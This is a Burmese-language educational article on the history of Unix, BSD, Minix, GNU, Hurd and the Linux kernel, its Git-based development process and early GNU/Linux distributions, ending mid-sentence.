<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-12c14fd14ee0e97e6f536e8ee0b8bf68882d1b01%2FKen_Thompson_and_Dennis_Ritchie--1973.jpg?alt=media" alt=""><figcaption></figcaption></figure>

Unix ဟာ License နဲ့ operating system တစ်ခုဖြစ်ပြီးတော့ Bell Labs နဲ့ AT\&T အတွက် research လုပ်ဖို့ ထုတ်ထားတဲ့ platform တစ်ခုပါ။ Unix ရဲ့ license ကိုကိုင်ထားတဲ့ AT\&T က BSD ကို Unix ရဲ့ code တွေကိုယူသုံးတယ်ဆိုပြီးတော့ တရားစွဲခဲ့ဘူးပါတယ်။ BSD (Berkeley Software Distribution) ကိုတော့ Computer Systems Research Group (CSRG) က University of California (UC), Berkeley မှာ Unix ရဲ့ 6th edition ကို အခြေခံပြီးတော့ ရေးထားတာဖြစ်ပါတယ်။ AT\&T က BSD ကို တရားစွဲလိုက်တာကြောင့်လည်း BSD project ရဲ့ တိုးတက်နှုန်းကလည်း အရမ်းကိုနှေးသွားခဲ့ရပါတယ်။ အဲ့လို အဖြစ်အပျက်တွေနောက်ပိုင်းမှာတော့ Unix ကို sub-license သဘောမျိုးနဲ့ AT\&T ကခွင့်ပြုတဲ့ ပုံစံခွက်ထဲမှာ Unix ကို မွေးစားချင်တဲ့ platform တွေက အဲ့ဒီ sub-license အောက်မှာ ပြန်လည်ပြီးတော့ develop လုပ်လာကြပါတယ်။ ဥပမာပေးရရင် Apple ရဲ့ Mac OS X နဲ့ အခုနောက်ပိုင်းထွက်တဲ့ macOS တို့ဟာဆိုရင် Unix ကိုအခြေခံထားတဲ့ system တွေပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-68675151af9042009d3b09a584a673f092baac0a%2FFreeBSD_10_Bootloader.png?alt=media" alt=""><figcaption></figcaption></figure>

## Unix-like Operating System များ ပေါက်ဖွားလာပုံ အကျဉ်းချုပ်

အထက်မှာရှင်းပြခဲ့တဲ့ အရှုပ်တော်ပုံတွေကြောင့် Unix ကို တိုက်ရိုက် မမွေးစားတော့ပဲနဲ့ open source ကိုသွားချင်တဲ့ system တွေဟာ Unix-like ဆိုပြီးတော့ ကိုယ်ပိုင် source code နဲ့ kernel တွေ၊ operating system တွေ၊ compiler တွေကို အစကနေပြီးတော့ ပြန်ရေးခဲ့ကြပါတယ်။ Minix ကတော့ အဲ့ဒီအချိန်က လူသုံးများတဲ့ Unix-like operating system တစ်ခုဖြစ်ပါတယ်။ သူ့ကိုတော့ Andrew S. Tanenbaum ဆိုတဲ့ ပုဂ္ဂိုလ်က နည်းပညာသင်ကြားရေးမှာ အသုံးပြုလို့ရအောင် ရေးထားတာပါ။ နောက်ပြီးတော့ Minix ရဲ့ source code ကို နည်းပညာတက္ကသိုလ် ကျောင်းသားတွေ အလွယ်တကူလေ့လာလို့ ရအောင်လို့ ပြန်ဝေမျှပါတယ်။ Linus Torvalds ကလည်း အစကတည်းက Minix လို မျိုး operating system တစ်ခုရေးမယ်လို့ စိတ်ကူးထားပုံရပါတယ်။ သို့သော်လည်း operating system တစ်ခုလုံး မပြီးလိုက်ပဲနဲ့ backbone ဖြစ်တဲ့ kernel ကိုသာ ရုပ်လုံးပေါ်အောင်ရေးနိုင်ခဲ့ပါတယ်။ ဆိုလိုချင်တာက ဒီလောက်ဆိုအဲ့ဒီအချိန်က Unix-like OS တွေကို နည်းပညာသမားတွေ ဘယ်လောက်တောင် ရှုးသွပ်နေခဲ့ကြသလဲဆိုတာကို ခန့်မှန်းလို့ရပါပြီ။ တနည်းအားဖြင့် programming language ဘက်မှာလည်း အဲ့ဒီ အချိန်က C လိုမျိုး high-level language တွေထွက်ပေါ်တာလာကြောင့်လည်း Unix-like OS ကို လိုက်ရေးတဲ့ ခေတ်ထခဲ့ဟန်တူပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-6e2a6b98b48278db17cf80794a541951f684e4fa%2FLinus_Torvalds.jpeg.jpeg?alt=media" alt=""><figcaption></figcaption></figure>

ထိုနည်းတူစွာ ၁၉၈၃ ခုနှစ်ကတည်းစပြီးတော့ Richard Stallman ဆိုတဲ့ ပုဂ္ဂိုလ်ကြီးဟာလည်း GNU ဆိုတဲ့ project ကြီးကို စတင်ကြေငြာခဲ့ပါတယ်။ Richard Stallman အကြောင်းကိုတော့ အရှေ့ပိုင်း GNU GPL အကြောင်းတွေကို ပြောတုန်းကအများကြီးကို မိတ်ဆက်ပေးဘူးပါတယ်။ GNU project အစမှာတော့ Unix-like system တွေမှာ အသုံးပြုလို့ရမယ့် application လေးတွေကိုရေးဖို့သာဖြစ်ပါတယ်။ GNU Emacs တို့ GNU C compiler တို့ ဟာဆိုရင်ဖြင့် ထင်ရှားတဲ့ GNU project ကထွက်လာတဲ့ အစောဆုံး အဆင့်မြင့် text editor application နဲ့ C compiler တို့ပဲဖြစ်ပါတယ်။ နောက်ပိုင်းမှာတော့ GNU ဟာ Unix-like operating system တစ်ခုတည်ဆောက်ဖို့အထိကို project ကကြီးကျယ်ခမ်းနားသွားပါတော့တယ်။ OS အတွက်လိုတဲ့ kernel ကိုလည်း Richard Stallman က ဦးဆောင်ပြီးတော့ GNU Hurd ဆိုတဲ့နာမည်နဲ့ develop လုပ်ခဲ့ပါတယ်။ Hurd မှာအဆင်မပြေတာတွေအများကြီးရှိခဲ့ပါတယ်။ နောက်ပြီးတော့ ထင်ထားသလောက် community က contribution နဲ့ support မရခဲ့တာကြောင့် Hurd က အသုံးပြုလို့ရတဲ့အဆင့်ထိ မရောက်ခဲ့ပါဘူး။ kernel မရှိရင် OS ဟာ backbone မရှိတဲ့အတွက် ဘယ်လိုမှ operating state တစ်ခုမရနိုင်ပါဘူး။ GNU system ဟာလည်း kernel အဆင်သင့် မဖြစ်သေးတဲ့အတွက် သုံးလို့ရတဲ့ operating system တစ်ခုအဆင့်ကို အဲ့ဒီအချိန်က မရောက်လှမ်းနိုင်ခဲ့ပါဘူး။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-8e71d30435344c79fb22f681c53b14775f7c821d%2FRichard_Matthew_Stallman21.jpeg?alt=media" alt=""><figcaption></figcaption></figure>

## Linux Kernel အစပိုင်း ခရီးစဉ်

၁၉၉၁ ခုနှစ်မှာတော့ Linus Torvalds ဟာလည်း သူ့ရဲ့ မပြီးပြတ်သေးတဲ့ Unix-like system တစ်ခုကနေပြီးတော့ Hurd ထက် stable ဖြစ်တဲ့ Linux kernel ကို စတင်မိတ်ဆက် ပေးခဲ့ပါတယ်။ အဲ့ဒီ Linux kernel ကိုလည်း C programming language နဲ့ ရေးထားပြီးတော့ GNU C compiler ကိုအသုံးပြုထားပါတယ်။ ထိုစဉ်က Linus Torvalds ဟာ သူ့ရဲ့ kernel ကတော့ အဆင်သင့်ဖြစ်သလောက်ရှိပါပြီ၊ ဒါပေမယ့် Linux kernel တစ်ခုတည်းနဲ့ ဘာမှလုပ်လို့ရမှာ မဟုတ်ပါဘူးတဲ့။ သူနဲ့ တွဲသုံးဖို့ကိုတော့ တခြား Unix-like platform တစ်ခုလိုပါလိမ့်မယ်လို့လည်းသူကဆိုခဲ့ပါတယ်။ GNU project မှာလည်း Hurd က ဘာမှဆက်မဖြစ်တော့တဲ့အတွက် Linux kernel ကို GNU project ထဲကို ထည့်ပြီးတော့ စမ်းသပ်အသုံးပြုရင်းနဲ့ Linux ဟာ Hurd ထက် အဆင်ပြေတယ်ဆိုတာကိုတွေ့ရပါတော့တယ်။ အဲ့ဒါကြောင့်လည်း Linux ကို GNU ရဲ့ kernel အဖြစ်ယူသုံးပြီးတော့ တချိန်တည်းမှာပဲ Hurd ကိုလည်း သီးသန့် kernel တစ်ခုဖြစ်အောင် ကြိုးပမ်း ခဲ့ကြပါတယ်။ developer တွေဟာလည်း Linux kernel ဟာ ယာယီ kernel တစ်ခုသာဖြစ်ပြီးတော့ Hurd အဆင်သင့် ဖြစ်ရင် မလွှဲမသွေ Hurd က Linux ထက်ကောင်းမယ်လို့သာ ယူဆထားခဲ့ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-7c179052637a41acdedf830517aeff70c03f45f1%2FGnuandtux.jpg?alt=media" alt=""><figcaption></figcaption></figure>

GNU project ထဲကို Linux kernel ရောက်လာပြီးတဲ့နောက် project ရဲ့ အရှိန်ဟာလည်း ပိုပိုပြီးတော့ မြန်ဆန်လာပါတော့တယ်။ free software ကို လိုက်တဲ့ developer တွေနဲ့ hobbyist တွေကလည်း Linux kernel နဲ့ GNU project မှာလိုအပ်တဲ့ အရာတွေကို ဝိုင်းပြီးတော့ contribute လုပ်ကြပါတယ်။ အဲ့ဒါကြောင့်လည်း GNU/Linux ဆိုပြီးတော့ ခိုင်မာတောင့်တင်းတဲ့ Unix-like system တစ်ခုဖြစ်လာပါတော့တယ်။ Hurd kernel ကတော့ ထင်ထားသလို မဖြစ်လာပဲ တပိုင်းတစနဲ့ပဲ အဆုံးသတ်လိုက်ရပါတယ်။ အခုချိန်ထိ Linux ကိုသာ OS တစ်ခုအနေနဲ့ သိထားကြပြီးတော့ GNU/Linux ရယ်လို့ လူသိပ်မသိပါဘူး။ Richard Stallman ကြီးက အဲ့ဒါကို သဘောသိပ်မတွေ့ပါဘူး။ တချိန်မှာ Richard Stallman က သူရဲ့ project နာမည် GNU ပျောက်သွားမှာ စိုးရိမ်ပြီးတော့ Lignux လို့ခေါ်ဖို့တိုက်တွန်းပါတယ်။ Linux ဆိုတဲ့ နာမည်ကြားမှာ GNU ဆိုတဲ့ branding ကို အတင်းထည့်လိုက်တဲ့သဘောပါ။ ဘယ်သူမှ အဲ့ဒီနာမည်ကို လိုက်မခေါ်ကြပါဘူး။ GNU/Linux ကိုသာ သဘောတူလိုက်ကြပြီးတော့ ယနေ့တိုင် GNU/Linux လို့သာခေါ်ပါတယ်။ သို့သော်လည်း Linux လို့သာ လူသိများပါတယ်။ Richard Stallman က အဲ့ဒီ Linux OS လို့ခေါ်တာကို ဘာလို့ အချဉ်ပေါက်သလဲဆိုတာကို စာဖတ်သူတို့ ရိပ်စားမိမယ်လို့ထင်ပါတယ်။ စာရေးသူအနေနဲ့လည်း GNU/Linux ဆိုတာကိုသာ ပိုပြီးတော့ သဘောတွေ့မိပါတယ်။ ဒါမှလည်း GNU project ရဲ့ စွမ်းဆောင်ရည်တွေကို credit ပေးရာ အသိအမှတ်ပြုရာ ရောက်မှာဖြစ်ပါတယ်။ Linux kernel က အရေးကြီးပါတယ်။ သို့သော်လည်း GNU လိုမျိုး platform မရှိရင်တော့ Linux kernel ဟာလည်း အမှောင်ထဲမှာပဲ လမ်းပျောက်ကြယ် အနေနဲ့သာ ရပ်တည်ရမယ့် အနေအထားဖြစ်ပါတယ်။

ဒီအပိုင်းမှာတော့ Linux kernel ရဲ့ အစပိုင်း ခရီးကြမ်း နဲ့ သူ့မတိုင်ခင် သမိုင်းဝင် ဖြစ်စဉ်တွေကို အကျဉ်းချုပ်ပြီးတော့ ဖော်ပြပေးထားပါတယ်။ C programming language အကြောင်း၊ Unix အကြောင်း၊ BSD နဲ့ Minix အကြောင်းတွေဟာလည်း Unix-like OS ဖြစ်တဲ့ GNU/Linux အကြောင်းပြောတဲ့အခါမှာ မပါမဖြစ်ပါ။ GNU/Linux ဟာဆိုရင် GNU project နဲ့ Linux kernel တို့ရဲ့ ဆုံမှတ်ပါ။ နည်းပညာလောကမှာ အကောင်းဆုံး အရာနှစ်ခုပေါင်းဆုံရာ ဆုံမှတ်လို့ စာရေးသူမြင်မိပါတယ်။ နောက်တပိုင်းမှာတော့ Linux kernel ကို Linus Torvalds ကြီးဘယ်လို ဦးဆောင်ပုံ၊ GNU/Linux အောက်ကနေ မတူတဲ့ distro တွေခွဲထွက်လာပုံ၊ kernel version release လုပ်ပုံတွေကို ဆက်လက်တင်ပြလိုပါတယ်။ စာဖတ်သူတို့ စိတ်ဝင်စားမယ်လို့ထင်ပါတယ်။ ဒီအပိုင်းကိုတော့ ဒီမှာပဲ ရပ်လိုက်ပါတော့မယ်။


# Linux Kernel အကြောင်း သိကောင်းစရာ အပိုင်း (၃)

အရှေ့တပိုင်းမှာတော့ Linux kernel စတင်ခဲ့ပုံ တစိတ်တပိုင်းနဲ့ kernel ကို ရေးဖို့ အထောက်အကူ ဖြစ်စေခဲ့တဲ့ C programming စတင်ပုံ အကြောင်းအပြင် Unix ဆိုတဲ့ ရှေ့ဆောင် OS တစ်ခုရဲ့ အကျဉ်;ချုပ်ကို ဖော်ပြပေးခဲ့ပြီးပါပြီ။ ဒီ အပိုင်းမှာတော့ Linux kernel မှာ Linus Torvalds က တင်လာတဲ့ patch တွေကို ဘယ်လို စီမန်ခန့်ခွဲ သလဲဆိုတာရယ်၊ မတူတဲ့ distro တွေ Linux kernel ကိုအသုံးပြုပြီးတော့ အဆင့်ဆင့် ပုံပြောင်း အဆင့်မြင့်လာကြသလဲဆိုတာကို အကျဉ်းသဘောမျိုး ပြောပြချင်ပါတယ်။ နောက်ပိုင်းတော့ distro တစ်ခုစီမှာ မတူတဲ့ flavour တွေနဲ့လာသော လူကြိုက်များ လူသုံးများတဲ့ desktop environment တွေအကြောင်းကို အသေးစိတ်ရေးပါ့မယ်။ အရှေ့ပိုင်းမှာလည်း distro တော်တော်များများ အကြောင်းကို ကြုံရင် ကြုံသလို ရေးထားခဲ့ဘူးပါတယ်။ ဒီတစ်ခုကတော့ Linux kernel ရဲ့ သမိုင်းဝင် အဖြစ်လေးတွေနဲ့ သိထားသင့်တဲ့ အကြောင်းအရာလေးတွေကို ဦးစားပေး ပြီးတော့ ရေးချင်ပါတယ်။

## Linux kernel ရဲ့ development life-cycle တိုးတက်လာပုံ

Open Source ရဲ့ project တစ်ခုဖြစ်တဲ့ Linux kernel ဟာ အခုနှစ် ၂၀၁၇ခုနှစ်မှာတော့ ၂၅နှစ်တင်းတင်းပြည့်ခဲ့ ပါပြီ။ Operating System တစ်ခုဖြစ်ဖို့ မရှိမဖြစ်လို့အပ်တဲ့ Linux kernel ကိုအခုလို အခြေအနေထိရောက်လာအောင် ဘယ်သို့ဘယ်ပုံ Linus Torvalds တစ်ယောက် ချုပ်ကိုင်ထားသလဲဆိုတာတော့ စိတ်ဝင်စားဖို့ကောင်းပါတယ်။ ပုံမှန် software development တွေမှာတော့ developer တွေဟာ အခန်းတစ်ခုထဲမှာ ထိုင်ပြီးတော့ အလုပ်အတူတူလုပ်ကိုင် ပြီးတော့မှ ကောင်းမွန်ပြည့်စုံတဲ့ application တစ်ခုကိုရပါတယ်။ Linux project မှာတော့ အဲ့လိုမဟုတ်ပဲ ထူးခြားတာကတော့ Linux kernel ကို contribute လုပ်တဲ့ developer တွေဟာ လူမျိုးပေါင်းစုံ နိုင်ငံပေါင်းစုံ နေရာပေါင်းစုံကနေပြီးတော့ patch တွေကို submit လုပ်ကြပါတယ်။ အဲ့လို submit လုပ်လာတဲ့ code တွေကိုမှ maintainer တွေက စစ်ဆေးပြီး Linus Torvalds ဆီကိုရောက်ပါတယ်။ Linus Torvalds ကနေ တဆင့် လက်ရှိ kernel code တွေနဲ့ ဘယ်လိုလုပ်ရင် သင့်တော်မလဲဆိုတာကို ကြည့်ပြီးတော့မှ merge လုပ်ပါတယ်။ စမ်းသပ်လို့ အကုန်အဆင်ပြေရင်တော့ kernel ရဲ့ version အသစ်တစ်ခုအနေနဲ့ release လုပ်ပါတယ်။ ပြောသလောက် လွယ်ပေမယ့် တကယ် လက်တွေ့မှာတော့ အလွန်ရှုပ်ထွေးတဲ့ change process တစ်ခုပါ။ kernel development ရဲ့ ပထမ ၅နှစ် ၁၀နှစ်တွင်း မှာတော့ အဲ့ဒီ process ပိုင်းမှာ တော်တော်လေးကို အချိန်ကုန်ခဲ့ရပါတယ်။ Linus Torvalds ကိုယ်တိုင်က development cycle မှာ update တွေ patch တွေကို ပြင်ဆင်ရေးသားရတာ အဲ့ဒီလောက် အချိန်မကုန်ပဲနဲ့ release လုပ်ဖို့ကို contributor တွေစီကနေပြီး code collection၊ version control နဲ့ code တစ်ခုရဲ့ အားနည်းချက် အားသာချက်တွေကို ငြင်းခုန်နေကြရင်းနဲ့ပဲ အချိန်တော်တော်လေး ကုန်ခဲ့ရတယ်လို့ဆိုပါတယ်။ အဲ့ဒီလို ပြဿနာတွေကို ဖြေရှင်းဖို့ကို Linus Torvalds က ရိုးရှင်းပြီး အလုပ်ဖြစ်တဲ့ Git ဆိုတဲ့ version control system (VCS) ကို ၇ရက်နေ့ ဧပြီလ ၂၀၀၅ခုနှစ်မှာ စတင်မိတ်ဆက်ပေးခဲ့ပါတယ်။ နောက်ပိုင်းမှာတော့ တစ်ခြား developer တွေက ဆက်ပြီးတော့ ကောင်းသတဲ့ကောင်းအောင်လို့ ပြင်ဆင်ခဲ့ကြပါတယ်။ အခုအချိန်မှာတော့ Git Repository တွေကို hosting လုပ်ပေးထားတဲ့ GitHub ဆိုတဲ့ distributed version control နဲ့ source code management (SCM) system ဟာဆိုရင်ဖြင့် developer တိုင်း မရှိမဖြစ်အသုံးပြုကြတဲ့ collaboration platform တစ်ခုပါ။ တချို့ကလည်း GitHub ဟာ version control နဲ့ collaboration ပါမကပဲ publishing tool ပါလုပ်နိုင်တဲ့ 3-in-1 platform လို့လည်းဆိုပါတယ်။ Linux kernel မှာလည်း Git Repository တွေကိုသုံးပြီးတော့ kernel ကို လိုအပ်တဲ့ နေရာတွေကို ပြင်ဆင်ပြီးတော့ collaborate လုပ်ကြပါတယ်။ Linux kernel နဲ့ ပတ်သတ်တဲ့ ပြောင်းလဲလာပုံ အဆင့်ဆင့်ကိုသိချင်ရင်တော့ [www.kernel.org](http://www.kernel.org/) ဆိုတဲ့ website မှာ သွားရောက်ကြည့်ရှုလို့ရပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-4d5f094689c10c5fbede710593f44880afd8e048%2FGit-300x125.png?alt=media" alt=""><figcaption></figcaption></figure>

Linus Torvalds က ပြီးခဲ့ Open Source Leadership Summit 2017 မှာတော့ သူရဲ့ leadership ပုံစံကို ရှင်းပြပါတယ်။ သူဟာ trust system တစ်ခုကို ၂၅ နှစ်ကြာအောင်တည်ဆောက်ခဲ့ရပါတယ်တဲ့။ အစပိုင်းမှာတော့ contributor တွေ developer တွေကြားမှာတော်တော်လေးကို ပြဿနာများခဲ့ပြီး အချိန်တစ်ခုကို ဖြတ်သန်းလာခဲ့ပြီးနောက်ပိုင်းမှာတော့ အမာခံ maintainer တွေနဲ့ ယုံကြည်စိတ်ချရတဲ့ contributor အဝန်းအဝိုင်းတစ်ခုကို တည်ဆောက်နိုင်ခဲ့ပါတယ်တဲ့။ အဆင့်ဆင့်မှာ trust system ရဲ့ ကောင်းမွန်မှုကြောင့် သူဆီကို ရောက်လာတဲ့ patch တွေဟာဆိုရင် ပြန်ပြီးတော့ အများကြီး စိစစ်စရာမလိုတော့ဘူးလို့လည်း ဆိုပါတယ်။ Maintainer တွေရဲ့ အရေးကြီးပုံ နဲ့ ဘယ်လောက်ထိယုံကြည် ရသလဲဆိုတာကိုလည်း ရှင်းပြသွားခဲ့ပါတယ်။ သူ့ကတော့ သန့်စင်ပြီးသား patch ကို သက်ဆိုင်တဲ့ နေရာမှာ merge လုပ်ပေးရုံပါပဲလို့လည်း ပြောပါတယ်။ နောက်ပြီးတော့ သူအနေအားဖြင့် Git နဲ့ပတ်သတ်ပြီးတော့လည်း credit မလိုချင်ပါဘူးတဲ့… သူက ပထမဆုံး ၆လလောက်သာ Git ကို အသက်သွင်းပေးခဲ့ပြီတော့ development အဆင့်မှာတော့ တခြားဆက်လုပ်ကြတဲ့ developer ကို credit ပေးခဲ့ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-8fef45462f29ca39661112e0468e06a9974a086d%2Ftorvalds-zemlin-osls.jpg?alt=media" alt=""><figcaption></figcaption></figure>

အခုချိန်မှာတော့ Linux kernel ရဲ့ project မှာ လွန်ခဲ့တဲ့ ၁၁ နှစ်လောက်ကစပြီးတော့ ပါဝင်ခဲ့တဲ့ company ပေါင်း ၁၃၀၀ ကျော်က developer ဦးရေ ၁၃၅၀၀ ကျော်တော်ရှိနေပါပြီတဲ့ဗျာ။ အဓိက sponsor လုပ်တဲ့ company တွေထဲမှာလည်း ထိပ်ဆုံးမှာတော့ Intel, Red Hat, Linaro, Samsung, SUSE, IBM, Renesas, Google, AMD, Texas Instruments နဲ့ ARM တို့ပါဝင်နေပါတယ်။ Linux ရဲ့ တိုးတက်နှုန်းကလည်း အခုလို contributor များစွာ၊ sponsor များစွာနဲ့ အရင်ထက်အများကြီးကို မြန်ဆန်လာပါတယ်။ နောက်ပြီးတော့ Linux platform က developer တွေဟာလည်း အရင်ကလို Open Source project တွေရဲ့ ထုံးစံအတိုင်း အခဲ့မဲ့ဆိုတာမျိုးတွေဟာလည်း မရှိသလောက်နည်းလာပါပြီ။ ICT industry အနေနဲ့ Linux platform မှာ ကျွမ်းကျင်သူတွေကို အသိအမှတ်ပြုတဲ့ သဘောမျိုးလည်းဖြစ်ပါတယ်။ အဲ့ဒါကြောင့်လည်း Linux နဲ့ ပတ်သတ်တဲ့ skills set တွေဟာအခုချိန်မှာ ပိုပြီးတော့ demanding ဖြစ်ပါတယ်။ တကယ်လည်း အသုံးဝင်တာကြောင့် Linux ကို SysAdmin တစ်ယောက်အနေနဲ့ပဲဖြစ်ဖြစ် DevOps တစ်ယောက်အနေနဲ့ပဲဖြစ်ဖြစ် Network Admin တစ်ယောက် အနေနဲ့ပဲဖြစ်ဖြစ် သိထားသင်တဲ့ environment တစ်ခုဖြစ်ပါတယ်။

## GNU/Linux Distribution များဆင့်ပွား ဖြစ်စဥ်

Operating System တစ်ခုရဖို့ အတွက်က အမှန်မှာတော့ kernel တစ်ခုတည်းနဲ့ မပြီး ပါဘူး။ အဲ့ဒီ kernelနဲ့ အလုပ်တွဲလုပ်တဲ့ package management system (PMS) လိုပါတယ်။ တနည်းအားဖြင့် kernel အပေါ်ကနေပြီးတော့ သက်ဆိုင်ရာ လုပ်ငန်းများကို လုပ်ဆောင်ဖို့အတွက် module တွေကိုထပ်ထည့်ပေးရပါတယ်။ အဲ့ဒီ module တစ်ခုစီမှာလည်း သက်ဆိုင် dependencies တွေ version control တွေကိုစစ်ဆေးဖို့ လိုအပ်ပါက main package/module မသွင်းခင်မှာ တခြား dependencies တွေကို အရင် download လုပ်ပြီး install လုပ်ပေးတာကတော့ package management system (PMS) ပဲဖြစ်ပါတယ်။ package တို့ module တို့ ဆိုတဲ့ နေရာမှာလည်း ကိုယ်လိုချင်တဲ့ လုပ်ငန်းဆောင်တာပေါ်မှာ မူတည်ပြီးတော့ အလုပ်လုပ်တဲ့ နေရာကွာသွားပါတယ်။ ဥပမာ language fonts နဲ့ ပတ်သတ်တဲ့ package တွေမှာဆို ဆိုင်ရာ fonts များကိုထည့်သွင်းပေးထားပါတယ်။ Display နဲ့ ပတ်သတ်တဲ့ package ဖြစ်တဲ့ X org လိုမျိုးမှာလည်း screen ပေါ်မှာ စာလုံးတွေ ရုပ်ပုံတွေမြင်နိုင်ဖို့ကို လုပ်ပေးတဲ့ graphic နဲ့ ဆိုင်တဲ့ လုပ်ဆောင်ချက်တွေလုပ်ပေးပါတယ်။ Distro ပေါ်မှာမူတည်ပြီးတော့ နဂိုအတိုင်းပါလာတဲ့ desktop environment တွေကလည်း ကွာသွားပြန်ပါတယ်။ ဆိုလိုချင်တာက kernel တစ်ခုတည်းနဲ့ ပြီးတဲ့ ကိစ္စမဟုတ်တဲ့အတွက် ဟန်ချက်ညီညီ အလုပ်လုပ်ဖို့ဆိုတာတော့ တခါတခါ တော်တော်ခက်တဲ့ အရာလည်းဖြစ်ပါတယ်။ အဲ့ဒါကြောင့် တချို့နေရာတွေမှာ GNU/Linux OS တွေမှာ driver ပြဿနာလေးတွေ အနည်းအကျဥ်းတော့ ရှိနိုင်ပါတယ်။ GNU/Linux distro ပေါ်မှာမူတည်ပြီးတော့မှ သူနဲ့ပါလာတဲ့ package manager တွေ၊ desktop environment တွေ၊ device driver တွေ စသည့်ဖြင့် အားလုံး ကွာခြားနိုင်ပါသေးတယ်။ နောက်တခါ device driver နဲ့ software ရဲ့ license ပေါ်မှာမူတည်ပြီးတော့ proprietary driver နဲ့ package အမျိုးအစားတွေ GNU/Linux မှာပါဝင် တတ်ပါတယ်။ အဲ့လိုမျိုး proprietary driver နဲ့ package တွေကိုတော့ closed-source ပုံစံလာပြီးတော့ binary file တွေအနေနဲ့ သာ ရနိုင်ပါတယ်။ အဲ့ဒီလို proprietary အနေနဲ့ထုတ်လာတဲ့ binary file တွေကို binary blobs လို့လည်းခေါ်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-359759a9ab8eec452d91b0893c5f5a1f1ab0b12e%2FLinux_kernel_ubiquity.svg_-768x432.png?alt=media" alt=""><figcaption></figcaption></figure>

Linux kernel ရဲ့အစပိုင်းမှာတော့ minimal tools တွေနဲ့သာလာတဲ့ Boot-root၊ လူတိုင်းသုံးလို့ရအောင် ပေးထားပြီး ၁၉၉၂ ခုနှစ်လောက်က ထွက်လာတဲ့ MCC Interim Linux နဲ့ Softlanding Linux System (SLS)၊ ပြီးတော့ စီးပွားဖြစ် ထုတ်လာတဲ့ Yggdrasil Linux/GNU/X ဆိုတာမျိုးတွေ ရှိကြပါတယ်။ အဲဒါတွေပြီးတော့ ၁၉၉၃ ခုနှစ်လောက်မှာ Slackware ဆိုတဲ့ distro က SLS ကို အခြေခံပြီး ထွက်လာပါတယ်။ Slackware ဟာလည်း ပုံမှန် စနစ်တကျ maintain မလုပ်နိုင်လို့ဆိုပြီးတခါ Debian သက်တမ်းရှည် distro ကြီးတစ်ခုကို Ian Murdock က ၁၉၉၃ခုနှစ် နှစ်ကုန်လောက်မှာ ထပ်လောင်း တည်ဆောက်ခဲ့ပါတယ်။ လက်ရှိ Debian ကို အခြေခံထားတဲ့ distro ဆိုတာလည်း အများကြီးရှိလာပါပြီ။ မရှေး မနှောင်းဆိုသလို Red Hat ကလည်း Linux kernel ကိုသုံးပြီး ကိုယ်ပိုင်သီးသန့်ပုံစံနဲ့ commercial distro တစ်ခုကို ထုတ်ခဲ့ပါတယ်။ အခုချိန်မှာတော့ ပုံစံမျိုးစုံနဲ့ GNU/Linux distro ပေါင်း ၆၀၀ ကျော်လောက်ရှိမယ်လို့ဆိုပါတယ်။ တချို့ distro တွေမှာဆို binary file ကိုရဖို့ ကိုယ်ဟာကို source code ကနေမှ compile လုပ်ရပါတယ်။ ဥပမာ Gentoo လို distro မျိုးမှာဆို ကိုယ်လိုအပ်သလောက် အပိုင်းရဲ့ source code ကိုရယူပြီးတော့မှ compile လုပ်ပြီး bin file ကနေတဆင့် install လုပ်ရပါတယ်။ Distro တစ်ခုစီမှာ အစွဲမရှိပဲနဲ့ ကိုယ်နည်းကိုယ့်ဟန်နဲ့ Linux kernel ပေါ်မှာ system တည်ဆောက်ချင်ရင်တော့ Linux From Scratch (LFS) လို stripped လုပ်ထားတဲ့ အမျိုးအစားတွေလည်းရှိပါတယ်။ စိတ်ဝင်စားရင်တော့ [www.linuxfromscratch.org](http://www.linuxfromscratch.org/) မှာ သွားပြီးတော့ လေ့လာလို့ရပါတယ်။ LFS မှာ Linux kernel နဲ့ အလုပ်လုပ်ဖို့ အနည်းဆုံး လိုအပ်မယ့် compiler တွေ component တွေကိုထည့်ထားပေးပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-a57b564019c403780f175b5053d02aa72e1dd442%2Fgentoo-logo-250x300.png?alt=media" alt=""><figcaption></figcaption></figure>

ဒီအပိုင်းမှာတော့ Linux kernel ရဲ့ development life cycle နဲ့ ecosystem ကို နည်းနည်းလေး မိတ်ဆက်ပေးထားပါတယ်။ တခြား Operating System တွေနဲ့ မတူထူးခြားတာကတော့ developer တွေ contributor တွေပေါင်းများစွာကနေ trust system တစ်ခုထဲမှာ ပါဝင် အလုပ်လုပ်ကြပြီး အောင်မြင်တဲ့ project အသွင်ကိုပြောင်းလဲလာတာပဲဖြစ်ပါတယ်။ မလွယ်ကူလှတဲ့ change process၊ change management system တစ်ခုအောက်မှာ Linux ဟာ ၂၅နှစ်ကြာ ရှင်သန် ရင့်ကျက်လာခဲ့ပါတယ်။ တိုးတက်မှုပေါင်းများစွာနဲ့ ရှေ့ဆောင် system အဖြစ် အခုချိန်ထိ နေရာယူထားဆဲပါ။ Desktop မှာ Windows နဲ့ MacOS ကနေ နေရာယူထားတုန်းဖြစ်ပေမယ့်… server နဲ့ service platform 